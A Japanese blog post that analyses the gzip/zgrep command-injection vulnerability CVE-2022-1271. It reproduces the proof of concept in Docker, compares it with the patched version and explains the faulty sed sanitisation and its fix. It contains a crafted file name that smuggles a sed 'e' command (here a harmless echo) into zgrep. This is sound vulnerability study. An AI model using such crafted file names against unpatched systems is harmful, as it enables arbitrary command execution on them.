ぶていのログでぶログ

思い出したが吉日

gzip/zgrepの脆弱性CVE-2022-1271を調べた

2022/04/07にgzip/zgrepの脆弱性CVE-2022-1271が見つかった。

cve.mitre.org

security.sios.com

すでに主要なディストリビューションでは対応が終わっている脆弱性ではあるが、gzip/zgrepがシェルスクリプトで書かれているので、シェル芸人としては気になるので調べてみた。

PoC

この脆弱性はファイル名を細工すると任意のコマンドを実行できるということだ。 いわゆるコマンドインジェクションになるのだろうか。 以下のツイートにPoCが示されている。

手元のubuntu:20.04のDockerイメージでは、運良く(?)Fix前のgzipだったので再現してみる。

❯ docker run --rm -it ubuntu:20.04
root@44a24ad0a79b:/# dpkg -l gzip
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version       Architecture Description
+++-==============-=============-============-=================================
ii  gzip           1.10-0ubuntu4 amd64        GNU compression utilities

root@44a24ad0a79b:/# touch file.gz
# 攻撃用のファイルを作成。PoCではcowsayになっているが用意するのがめんどくさいのでechoで
root@44a24ad0a79b:/# echo foo | gzip > "$(printf '|\n;e echo hello world\n#.gz')"
root@44a24ad0a79b:/# ls -lah *.gz
-rw-r--r-- 1 root root  0 Apr 30 02:57  file.gz
-rw-r--r-- 1 root root 24 Apr 30 02:56 '|'$'\n'';e echo hello world'$'\n''#.gz' 👈 これ

# zgrepを実行する
root@44a24ad0a79b:/# zgrep foo *.gz
hello world  👈 なぜかhello worldと表示されている
foo

Fixされたバージョンで試してみる

gzipパッケージをアップデートし脆弱性が修正されたバージョンで試してみる。

root@44a24ad0a79b:/# apt update
-- snip --
root@44a24ad0a79b:/# apt install gzip
-- snip --
root@44a24ad0a79b:/# dpkg -l gzip
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version         Architecture Description
+++-==============-===============-============-=================================
ii  gzip           1.10-0ubuntu4.1 amd64        GNU compression utilities 👈 Fixされたバージョンになった

root@44a24ad0a79b:/# ls -lah *.gz
-rw-r--r-- 1 root root  0 Apr 30 02:57  file.gz
-rw-r--r-- 1 root root 24 Apr 30 02:56 '|'$'\n'';e echo hello world'$'\n''#.gz'
root@44a24ad0a79b:/# zgrep foo *.gz
|
;e echo hello world
#.gz:foo

\nで改行されているため少し分かりづらいが、コマンドは実行されずファイル名が表示されるようになっている。

なぜコマンドが実行されたのか?

修正されたパッチを見てみる。 該当のdiffはこれみたいだ。 https://git.savannah.gnu.org/cgit/gzip.git/commit/?id=dc9740df61e575e8c3148b7bd3c147a81ea00c7c

diff --git a/zgrep.in b/zgrep.in
index 345dae3..bdf7da2 100644
--- a/zgrep.in
+++ b/zgrep.in
@@ -222,9 +222,13 @@ do
 '* | *'&'* | *'\'* | *'|'*)
         i=$(printf '%s\n' "$i" |
             sed '
-              $!N
-              $s/[&\|]/\\&/g
-              $s/\n/\\n/g
+              :start
+              $!{
+                N
+                b start
+              }
+              s/[&\|]/\\&/g
+              s/\n/\\n/g
             ');;
       esac
       sed_script="s|^|$i:|"

んー、何もわからん。 Fix前のコードを見てみる。

https://git.savannah.gnu.org/cgit/gzip.git/tree/zgrep.in?h=v1.11

パッチはL222-224だがこれだけだとわからないので前後のコードを抜粋してみた。

for i   <---do
  # Fail if gzip or grep (or sed) fails.
  gzip_status=$(
    exec 5>&1
    (gzip -cdfq -- "$i" 5>&-; echo $? >&5) 3>&- |  <--- ②
    if test $files_with_matches -eq 1; then <--- ③
-- snip --                                  <--- ③
    else
      case $i in
      (*'
'* | *'&'* | *'\'* | *'|'*) <--- ④
        i=$(printf '%s\n' "$i" | <--- ⑤
            sed '                <--- ⑤
              $!N                <--- ⑤
              $s/[&\|]/\\&/g     <--- ⑤
              $s/\n/\\n/g        <--- ⑤
            ');;
      esac
      sed_script="s|^|$i:|" <--- ⑥

      # Fail if grep or sed fails.
      r=$(
        exec 4>&1
        (eval "$grep" 4>&-; echo $? >&4) 3>&- | sed "$sed_script" >&3 4>&-  <--- ⑦
      ) || { r=$?; test $r -lt 2 && r=2; }
      test 256 -le $r && r=$(expr 128 + $r % 128)
      exit $r
    fi >&3 5>&-
  )

ここでの解説に必要な部分のみ抜粋し、各ポイントに番号を付けた*1。 ①ではfor文にin句が指定されていないので $* をイテレーションし $i に格納している。 この前の処理でgzipに渡されたオプションをパースしているので、ここではファイル名のみが格納されている。 ②では読み込まれたファイルをgzipしている。 gzipコマンドの終了コードを取るために色々しているがここでは割愛。 gzipの出力はパイプされ以降のif文につながっている。 ③の処理では、zgrepコマンドオプションに-L/--files-without-match、-l/--files-with-matches、-H/--with-filenameを指定したときの処理なので割愛。 ④からが今回の解説のキモである。 ここでの処理はzgrepした結果の各行にファイル名を追加するための処理となっている。 まず、④では入力されたファイル名のサニタイズを行っている。 改行コード、&、\、|があるときに⑤の処理を行っている。 ⑤ではファイル名のサニタイズ処理を行っている。 ⑤で処理したファイル名を⑥で格納し、⑦のgrepの結果をパイプして各行の先頭にファイル名を追加している。

一見問題なさそうに見えるが先のPoCを⑤のコードで試してみると以下のような出力を得られる。

root@c2eb3217af25:/# echo -e "|\n;e echo hello world\n#;" | sed '$!N; $s/[&\|]/\\&/g; $s/\n/\\n/g'
|
;e echo hello world
#;

この出力を⑥に代入すると $sed_script は以下が格納される。

s|^||
;e echo hello world
#;:|

このsedスクリプトを実行すると、意図しないコマンドが実行されることがわかる。

root@c2eb3217af25:/# cat sed.script
s|^||
;e echo hello world
#;:|
root@c2eb3217af25:/# echo foo | sed -f sed.script
hello world
foo

なぜコマンドが実行されるのか?

これはsedの e コマンドが挿入されているからである。 e コマンドとはなんだ?っと man sed すると… 書いてない!

linuxjm.osdn.jp

このとき初めてしったのだが、man sedは備忘録的な扱いで最低限しか書かれていないのであった。 詳細を調べるためにはGNUのページを見る必要がある。

www.gnu.org

このページには以下のように書かれている。

e command

Executes command and sends its output to the output stream. The command can run across multiple lines, all but the last ending with a back-slash.

command の出力を取り込むという処理のようだ。

なぜエスケープされないのか?

結論から書くと最終行しか置換処理をしていないためである。 サニタイズをするsedスクリプトを読んで見る。

$!N            ; 最終行じゃなければ次の行を読み込む
$s/[&\|]/\\&/g ; 最終行の&\|を置換する
$s/\n/\\n/g    ; 最終行の\nを置換する

っとなっていて複数行がある場合を考慮していないことがわかる。 では修正後のコードを見てみる。

:start    ; <--- 
$!{       ; <--- 
  N       ; <--- 
  b start ; <--- 
}         : <--- ②
s/[&\|]/\\&/g
s/\n/\\n/g

変わったところは2つで、$!のブロックがループするようになったのと、置換処理に$が指定されなくなったというところだ。 詳しく見ていく。 ①でstartというラベルを設定している。これはbコマンドなどのジャンプ先に指定することができる。 ②では最終行ではない場合($!) {}の中身を実行している。{}はコマンドのグルーピングである。 グループされているのは Nb start である。 Nはパターンスペース*2に改行と今の入力行をコピーする。 bコマンドはいわゆるgoto文で startラベルまでジャンプしている。 つまり、①と②では最終行になるまでパターンスペースに入力行コピーしていることになる。 そして、最後にsコマンドで置換している。

この変更により複数行が入力されても正しくサニタイズされ、脆弱性が修正されたことになる。

おわりに

gzip/zgrepコマンドが歴史が長くすでに枯れていて脆弱性もないだろうと思っていたが、そんなことはないことを知った。 また、シェルスクリプトでここまで作れることを知った*3のも今回調査してよかったと思う。

今回の調査を行おうと思ったきっかけを与えてくれた id:hiboma に感謝! 😄

*1:はてなブログのレンダリングで各行に番号を付けてもらいたいと思った…

*2:sed内部のバッファみたいなもの

*3:可読性があるかは怪しいが…